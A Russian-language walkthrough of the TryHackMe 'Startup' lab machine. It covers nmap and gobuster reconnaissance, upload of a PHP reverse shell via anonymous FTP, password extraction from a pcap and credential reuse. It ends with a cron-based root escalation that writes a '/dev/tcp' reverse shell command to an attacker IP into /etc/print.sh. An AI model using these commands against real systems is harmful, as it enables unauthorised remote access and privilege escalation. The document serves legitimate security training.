THM Startup
Max Alexeev (@wi_max)Представляю решение одной из уязвимых виртуальных машин платформы TryHackMe.

Сканируем хост с помощью nmap. Я это делаю с помощью следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Анализ результатов сканирования в сухом остатке дает нам:
- FTP-сервер версии vsftpd 3.0.3 разрешен анонимный доступ (anonymous:anonymous)
- WEB-сервер Apache httpd 2.4.18
- OpenSSH 7.2p2
После того, как провели сканирование nmap, я обычно запускаю брут директорий. Можно использовать различные утилиты для этого, мне нравятся gobuster и dirbuster. Воспользуемся первой:
gobuster dir -u http://10.10.105.255 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100
Практически сразу находит директорию files:

Просмотрим ее содержимое.

Ничего интересного я не обнаружил, но в глаза бросилось название директории ftp. Аналогичный вывод мы могли наблюдать при сканировании nmap. Это натолкнуло меня на мысль и я решил проверить права на директорию. Для этого, я подключился к FTP-серверу:

Оказалось, что все пользователи имеют права записи в директорию ftp. А так как файловые пространства FTP-сервера и WEB-сервера фактически пересекаются, то мы можем загрузить файл с помощью FTP-сервера, а открыть его на WEB-сервере. Первое, что пришло в голову, это php-shell. На kali это доступно по следующему пути /usr/share/webshells/php/php-reverse-shell.php .
Скопируем его на рабочий стол и загрузим на FTP-сервер. Перед загрузкой необходимо указать свои ip-адрес и порт, на который мы будем ожидать подключения. Загрузка файла на FTP-сервер осуществляется с помощью следующей команды:
ftp> put ~/Desktop/1.php rev-shell.php
Откроем загруженный файл, используя WEB-сервер, предварительно запустив прослушивание (nc -lnvp 4444):

Теперь получим стабильный терминал, используя команду:
script -qc /bin/bash /dev/null
Итак, мы на целевой системе. Проверяем, права какого пользователя у нас есть:

Попробуем просмотреть домашнюю директорию.

Видим домашнюю директорию пользователя lennie. При попытке доступа, оказывается, что прав у нас нет. После этого, я поднялся на уровень выше и просмотрел содержимое корневой директории. Привлекло нестандартное название директории incedents .

Обнаружив там файл с трафиком, я решил передать его к себе на хост:

Первым делом необходимо просмотреть файл на наличие паролей, это можно сделать с помощью следующей команды: strings incoming.pcapng|grep -B 2 -A 2 passw*

Первая мысль, которая возникла - попробовать данный пароль к пользователю lennie. После удачной попытки входа, я перешел в домашнюю директорию пользователя. Исследуя другие файлы, внимание привлек /scripts/planner.sh. Содержимое подсказывает, что данный файл исполняет файл /etc/print.sh .

У нас имеются права на запись в файл /etc/print.sh , а значит, записав и выполнив planner.sh мы исполним и print.sh , но выполняя с нашими правами, мы получим снова шелл для пользователя lennie . Я записал в print.sh с помощью следующей команды.
echo 'bash -c "bash -i >& /dev/tcp/10.9.2.110/7777 0>&1"' > /etc/print.sh
И тут мне пришла идея, а что, если периодически cron выполняет это скрипт, с root правами. Просмотреть это удобно с помощью pspy . Доставить pspy на целевую систему можно используя утилиту wget на целевой системе и подняв у себя сервер, например с помощью:
python -m SimpleHTTPServer
После доставки не забудьте разрешить исполнение файла. Просмотр вывода pspy дал следующую информацию:

Наше предположение оказалось верным. То есть, записав реверс-шелл в /etc/print.sh он будет выполнен автоматически после выполнения planner.sh. Нам остается только прослушивать порт и ждать подключения.
